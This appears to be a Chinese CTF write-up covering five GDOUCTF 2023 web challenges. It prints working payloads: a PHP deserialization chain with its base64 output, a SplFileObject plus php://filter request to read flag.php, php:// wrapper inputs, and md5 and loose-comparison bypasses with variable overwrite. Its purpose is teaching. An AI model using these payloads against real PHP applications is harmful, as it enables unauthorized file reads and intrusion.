当前位置: 首页 > news >正文

NSSCTF-GDOUCTF 2023新生赛

[GDOUCTF 2023]hate eat snake

考察:js代码审计

打开题目,发现需要坚持60秒,那么简单的一个思路就是修改得分的变量>60即可

办法1:修改变量

右键查看源代码,之后发现有一个snake.js的文件,ctrl+f搜索if,发现判断过关的条件是getScore>60

搜索发现getScore在Snake.prototype

在控制台执行
payload

Snake.prototype.getScore = () => 61

控制台开始调用函数
在游戏界面再按一下空格,得到flag

方法2: 先玩游,得到分数后在放着界面停留60秒,再按空格,获取flag

[GDOUCTF 2023]泄露的伪装

考察:目录扫描,php伪协议

由于环境打不开了,我就根据别人的wp提供下思路

思路:打开题目---->>>目录扫描(rar文件下载)--->>>代码审计--->>>php伪协议(input,data)

get参数为?cxk=php://input
post参数为ctrl

或者使用下面一种 

?cxk=data://text/plain,ctrl

[GDOUCTF 2023]反方向的钟 

考察:反序列化,原生类SplFileObject

打开题目,发现一大串代码,看到类了,猜测考察反序列化,需要构造poc链

<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{public $name;public $rank;private $salary;public function __construct($name,$rank,$salary = 10000){$this->name = $name;$this->rank = $rank;$this->salary = $salary;}
}class classroom{public $name;public $leader;public function __construct($name,$leader){$this->name = $name;$this->leader = $leader;}public function hahaha(){if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){return False;}else{return True;}}
}class school{public $department;public $headmaster;public function __construct($department,$ceo){$this->department = $department;$this->headmaster = $ceo;}public function IPO(){if($this->headmaster == 'ong'){echo "Pretty Good ! Ctfer!\n";echo new $_POST['a']($_POST['b']);}}public function __wakeup(){if($this->department->hahaha()) {$this->IPO();}}
}if(isset($_GET['d'])){unserialize(base64_decode($_GET['d']));
}
?>

分析

能利用原生类SplFileObject读取文件

找到最核心的IPO(),关键点new $_POST[‘a’] ($_POST[‘b’])

可以POST请求利用原生类读取文件获得flag(base64编码)

步骤

要执行IPO(),看到__wakeup()下,要先执行hahaha()

再找到hahaha()所在的类为classroom,要使返回为真,三个变量赋值得为对应的值,leader指向name和rank的值,也就说明$leader=new teacher(),发现name和rank是在teacher类那里

构造poc链

<?php
class teacher{public $name='ing';public $rank='department';private $salary;
}class classroom{public $name='one class';public $leader; 
}class school{public $department;public $headmaster='ong';   
}$a=new school();
$a->department=new classroom();
$a->department->leader=new teacher();
echo base64_encode(serialize($a));
Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjozOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO3M6MTU6IgB0ZWFjaGVyAHNhbGFyeSI7aToxMDAwMDt9fXM6MTA6ImhlYWRtYXN0ZXIiO3M6Mzoib25nIjt9

之后利用原生类SplFileObject读取文件

a为类,b用php协议读取flag.php   /代码中说了flag在flag.php中

所以POST的payload为:

a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php

 进行访问

得到base64编码,我们再进行解码得到flag

<?php
$flag = "NSSCTF{c18adac3-acf0-4efa-ab63-10279c78c08d}";
?>

[GDOUCTF 2023]受不了一点

考察:md5绕过,强/弱类型比较,变量覆盖

打开题目,得到源码

 <?php
error_reporting(0);
header("Content-type:text/html;charset=utf-8");
if(isset($_POST['gdou'])&&isset($_POST['ctf'])){$b=$_POST['ctf'];$a=$_POST['gdou'];if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){if(isset($_COOKIE['cookie'])){if ($_COOKIE['cookie']=='j0k3r'){if(isset($_GET['aaa']) && isset($_GET['bbb'])){$aaa=$_GET['aaa'];$bbb=$_GET['bbb'];if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){$give = 'cancanwordflag';$get ='hacker!';if(isset($_GET['flag']) && isset($_POST['flag'])){die($give);}if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){die($get);}foreach ($_POST as $key => $value) {$$key = $value;}foreach ($_GET as $key => $value) {$$key = $$value;}echo $flag;}else{echo "洗洗睡吧";}}else{echo "行不行啊细狗";}}
}
else {echo '菜菜';
}
}else{echo "就这?";
}
}else{echo "别来沾边";
}
?>
别来沾边

初步分析,我们需要进行四组绕过 

if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b))

这里我们需要进行md5绕过,并且为强类型比较绕过,我们可以考虑用数组绕过,也可以用md5碰撞进行绕过

md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。  例如 a[]=1&b[]=2

gdou[]=1&ctf[]=2
//绕过第一步

这里为简单的cookie赋值,我们用火狐浏览器的hackbar插件就能修改cookie的值 

if ($_COOKIE['cookie']=='j0k3r'

这里为弱比较类型的绕过,我们可以用小数点进行绕过 ,也可以后面加字符进行绕过

if($aaa==114514 && $bbb==114514 && $aaa!=$bbb

 构造payload

aaa=114514&bbb=114514.a

 接着下面这里考察的是变量覆盖

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){die($get);}foreach ($_POST as $key => $value) {$$key = $value;}foreach ($_GET as $key => $value) {$$key = $$value;}echo $flag;

 直接构造payload,变色的变量可以改变,但与后面的需要相同

123=flag&flag=123

最后抓包构造所有的payload

POST /?aaa=114514&bbb=114514a&123=flag&flag=123

post参数

gdou[]=1&ctf[]=2

 [GDOUCTF 2023]EZ WEB

考察:http协议

由于环境开启不了,看了下别人的wp,讲讲思路

思路:右键查看网页源代码--->>>访问有关于flag的路由--->>>BP抓包修改请求方式为POST

相关文章:

NSSCTF-GDOUCTF 2023新生赛

[GDOUCTF 2023]hate eat snake 考察&#xff1a;js代码审计 打开题目&#xff0c;发现需要坚持60秒&#xff0c;那么简单的一个思路就是修改得分的变量>60即可 办法1&#xff1a;修改变量 右键查看源代码&#xff0c;之后发现有一个snake.js的文件&#xff0c;ctrlf搜索i…...

论文解析——Character Region Awareness for Text Detection,字符级文本检测CRAFT算法

这篇论文来自CVPR2019&#xff0c;paper地址&#xff1a;Character Region Awareness for Text Detection。 代码&#xff1a;CRAFT-pytorch。 这篇论文主要解决之前的文本检测是基于word-level的检测框&#xff0c;不能识别任意形状的文本的问题。与之前的方法不同&#xff0…...

基于飞腾平台的Kafka移植与安装

【写在前面】 飞腾开发者平台是基于飞腾自身强大的技术基础和开放能力&#xff0c;聚合行业内优秀资源而打造的。该平台覆盖了操作系统、算法、数据库、安全、平台工具、虚拟化、存储、网络、固件等多个前沿技术领域&#xff0c;包含了应用使能套件、软件仓库、软件支持、软件适…...

【Python数据结构与算法】递归----算24

题目&#xff1a;算24 描述 给出4个小于10个正整数&#xff0c;你可以使用加减乘除4种运算以及括号把这4个数连接起来得到一个表达式。现在的问题是&#xff0c;是否存在一种方式使得得到的表达式的结果等于24。 这里加减乘除以及括号的运算结果和运算的优先级跟我们平常的定…...

TOSHIBA东芝代理商--芯智雲城,提供订货、报价、选型等服务!

关于东芝 东芝创立于1875年7月&#xff0c;是日本大型半导体制造商&#xff0c;全球知名的综合机电制造商和解决方案提供者&#xff0c;世界大型综合电子电器企业集团。东芝集团原名东京芝浦电气株式会社&#xff0c;在1939年东京电器与芝浦制作所正式合并成为现在的东芝&…...

sdwan

分支互联网络解决方案 - 华为企业业务 分支互联网络解决方案 随着5G、AI、物联网等新兴技术与云紧密结合&#xff0c;企业业务智能化和云化加速。 企业分支WAN流量激增&#xff0c;传统以MPLS专线为主的广域互联网络难以支撑业务发展。SD-WAN成为应对云时代的必然选择。 SD…...

Linux: network: 建立socket以及设置nonblock/opt所需的时间

最近在扩大socket数量的时候发现程序在完成所有的socket创建设置的时间不短。单线程下。 创建socket的步骤是&#xff0c;&#xff08;调用glibc/system call的接口&#xff09;&#xff1a; socket bind fcntl (sock, F_SETFL, flags); setsockopt 通过测试发现这几个步骤前后…...

git使用及代码规范

参考链接 git flow 简介代码审核的典型问题gitlab工作流...

职业教育大数据实验实训室建设应用案例

大数据作为一种重要的信息技术&#xff0c;对各行各业产生了深远的影响。职业教育作为培养应用型人才的摇篮&#xff0c;建设大数据实验实训室&#xff0c;对于提高学生的数据分析能力和解决实际问题的能力具有重要意义。唯众作为一家专注于教育技术领域的企业&#xff0c;凭借…...

【Academy】反序列化漏洞Insecure deserialization

反序列化漏洞Insecure deserialization 什么是序列化&#xff1f;序列化与反序列化什么是不安全的反序列化&#xff1f;不安全的反序列化漏洞是如何产生的&#xff1f;不安全的反序列化有什么影响&#xff1f;识别不安全的反序列化漏洞PHP序列化格式Java序列化格式 利用不安全的…...

【轨物推荐】康波、世界体系与创新范式:中国如何引爆新一轮产业革命

原创 邵宇、陈达飞 新财富 2019年12月31日 22:13 中美关系近两年备受关注&#xff0c;在诸多方面各方都已经形成了共识&#xff0c;但竞争博弈的结局富有争议性。当靠事物太近的时候&#xff0c;反而很难看清楚其面貌&#xff0c;使用康德拉季耶夫周期&#xff08;简称“康波”…...

[HCTF 2018]admin1

打开题目 尝试登陆 admin&#xff0c;123&#xff0c;直接试出来了 有投机取巧的成分&#xff0c;到github查看源码&#xff0c;也能找到用户名密码...

【Qwen-Audio部署实战】Qwen-Audio-Chat模型之对话机器人部署测试

系列篇章&#x1f4a5; No.文章1【Qwen部署实战】探索Qwen-7B-Chat&#xff1a;阿里云大型语言模型的对话实践2【Qwen2部署实战】Qwen2初体验&#xff1a;用Transformers打造智能聊天机器人3【Qwen2部署实战】探索Qwen2-7B&#xff1a;通过FastApi框架实现API的部署与调用4【Q…...

第一百八十五节 Java XML教程 - Java DOM简介

Java XML教程 - Java DOM简介 DOM是标准的树结构&#xff0c;其中每个节点包含来自XML结构的一个组件。 XML文档中两种最常见的节点类型是元素节点和文本节点。 使用Java DOM API&#xff0c;我们可以创建节点&#xff0c;删除节点&#xff0c;更改其内容&#xff0c;并遍历节…...

一款功能强大且免费的图片查看和管理工具

XnView MP是一款功能强大且免费的图片查看和管理工具&#xff0c;支持多种平台&#xff08;Windows、Mac和Linux&#xff09;&#xff0c;并基于相同的源代码实现统一的用户界面和体验。它不仅能够查看各种图片格式&#xff0c;还提供了丰富的编辑和管理功能。 图片查看与浏览…...

动手学强化学习 第 11 章 TRPO 算法(TRPOContinuous) 训练代码

基于 Hands-on-RL/第11章-TRPO算法.ipynb at main boyu-ai/Hands-on-RL GitHub 理论 TRPO 算法 修改了警告和报错 运行环境 Debian GNU/Linux 12 Python 3.9.19 torch 2.0.1 gym 0.26.2 运行代码 TRPOContinuous.py #!/usr/bin/env pythonimport torch import numpy a…...

数量关系模块

三年后指的不是现在 选A注意单位 注意单位换算 A 正方形减去扇形 256-X5y 那么小李拿的一定是末尾是1或者是6&#xff0c;所以小李拿的是26&#xff0c;那么y46&#xff0c;那么小王或者小周拿的是92&#xff0c;所以选择三个数之和等于92的&#xff0c;所以选择D 分数 百分数 …...

滑模面、趋近律设计过程详解(滑模控制)

目录 1. 确定系统的状态变量和目标2. 定义滑模面3. 选择滑模面的参数4. 设计控制律5. 验证滑模面设计6. 总结 设计滑模面&#xff08;Sliding Surface&#xff09;是滑模控制&#xff08;Sliding Mode Control&#xff0c;SMC&#xff09;中的关键步骤。滑模控制是一种鲁棒控制…...

SQL Server 端口配置

目录 默认端口 更改端口 示例&#xff1a;更改 TCP 端口 示例&#xff1a;验证端口设置 远程连接测试 示例&#xff1a;使用 telnet 测试连接 配置防火墙 示例&#xff1a;Windows 防火墙设置 远程连接测试 示例&#xff1a;使用 telnet 测试连接 默认端口 TCP/IP: …...

同一窗口还是新窗口打开链接更利于SEO优化

&#x1f49d;&#x1f49d;&#x1f49d;欢迎莅临我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐&#xff1a;「storm…...

突破Unity游戏语言壁垒:XUnity Auto Translator的多维度解决方案

突破Unity游戏语言壁垒&#xff1a;XUnity Auto Translator的多维度解决方案 【免费下载链接】XUnity.AutoTranslator 项目地址: https://gitcode.com/gh_mirrors/xu/XUnity.AutoTranslator 在全球化游戏市场中&#xff0c;语言差异已成为制约玩家体验的关键瓶颈。独立…...

STM32与ESP8266实现疫苗接种数据监控系统

STM32实现全球新冠疫苗接种数据监控系统设计指南1. 项目概述1.1 系统功能本项目基于STM32微控制器实现了一个全球新冠疫苗接种数据实时监控平台&#xff0c;通过WiFi模块连接互联网获取最新的疫苗接种统计数据&#xff0c;并在LCD显示屏上直观展示。系统主要功能包括&#xff1…...

如何用OpenPLC Editor实现工业级控制?3大场景实战指南

如何用OpenPLC Editor实现工业级控制&#xff1f;3大场景实战指南 【免费下载链接】OpenPLC_Editor 项目地址: https://gitcode.com/gh_mirrors/ope/OpenPLC_Editor 你是否曾遇到过工业控制编程的困境&#xff1f;传统PLC开发成本高昂、学习曲线陡峭、兼容性差&#xf…...

前端新手入门:跟快马AI学用localStorage实现视频续播功能

今天想和大家分享一个特别适合前端新手练手的小项目&#xff1a;用localStorage实现视频续播功能。这个功能我们平时在各大视频网站都能见到&#xff0c;比如"继续观看"的提示&#xff0c;其实实现起来并不复杂&#xff0c;但涉及了前端开发中几个非常实用的知识点。…...

算力集群搭建:从单节点到多节点的部署教程

算力集群搭建&#xff1a;从单节点到多节点的部署教程&#x1f4da; 本章学习目标&#xff1a;深入理解从单节点到多节点的部署教程的核心概念与实践方法&#xff0c;掌握关键技术要点&#xff0c;了解实际应用场景与最佳实践。本文属于《云原生、云边端一体化与算力基建&#…...

Labelme标注的坑我帮你踩完了:Win/Mac/Linux三大系统安装避坑指南与界面汉化

Labelme三大系统安装避坑全指南&#xff1a;从环境配置到界面汉化实战 第一次打开Labelme时&#xff0c;那个满屏英文的界面和莫名其妙的报错提示&#xff0c;是不是让你瞬间想起了被毕业设计支配的恐惧&#xff1f;作为计算机视觉领域最受欢迎的标注工具之一&#xff0c;Label…...

如何用 PyTorch Grad-CAM 快速掌握 CLIP 模型可视化分析:终极指南 [特殊字符]

如何用 PyTorch Grad-CAM 快速掌握 CLIP 模型可视化分析&#xff1a;终极指南 &#x1f3af; 【免费下载链接】pytorch-grad-cam Advanced AI Explainability for computer vision. Support for CNNs, Vision Transformers, Classification, Object detection, Segmentation, I…...

多无人机协同避障之自适应重构 V 型编队与分布式控制算法探索

多无人机 协同避障 自适应重构v型编队 分布式控制算法 包含参考文献和完整代码 #无人机 #协同避障 #重构队形 #分布式控制 #自适应重构编队在无人机应用领域&#xff0c;多无人机协同作业已成为研究热点。其中&#xff0c;协同避障以及自适应重构编队是实现高效任务执行的关键技…...

演员-评论家网络在ADP中的应用:如何构建和训练你的第一个模型

演员-评论家网络在自适应动态规划中的实战指南 当我们需要解决复杂控制问题时&#xff0c;传统动态规划方法往往面临"维度灾难"的困境。演员-评论家网络&#xff08;Actor-Critic Network&#xff09;作为自适应动态规划&#xff08;ADP&#xff09;的核心架构&#…...

BJT与MOSFET高频模型对比指南:5个关键差异点帮你选对晶体管

BJT与MOSFET高频模型对比指南&#xff1a;5个关键差异点帮你选对晶体管 在射频电路设计中&#xff0c;晶体管的高频特性往往决定了整个系统的性能上限。对于刚踏入这一领域的设计师而言&#xff0c;BJT&#xff08;双极型晶体管&#xff09;和MOSFET&#xff08;金属氧化物半导…...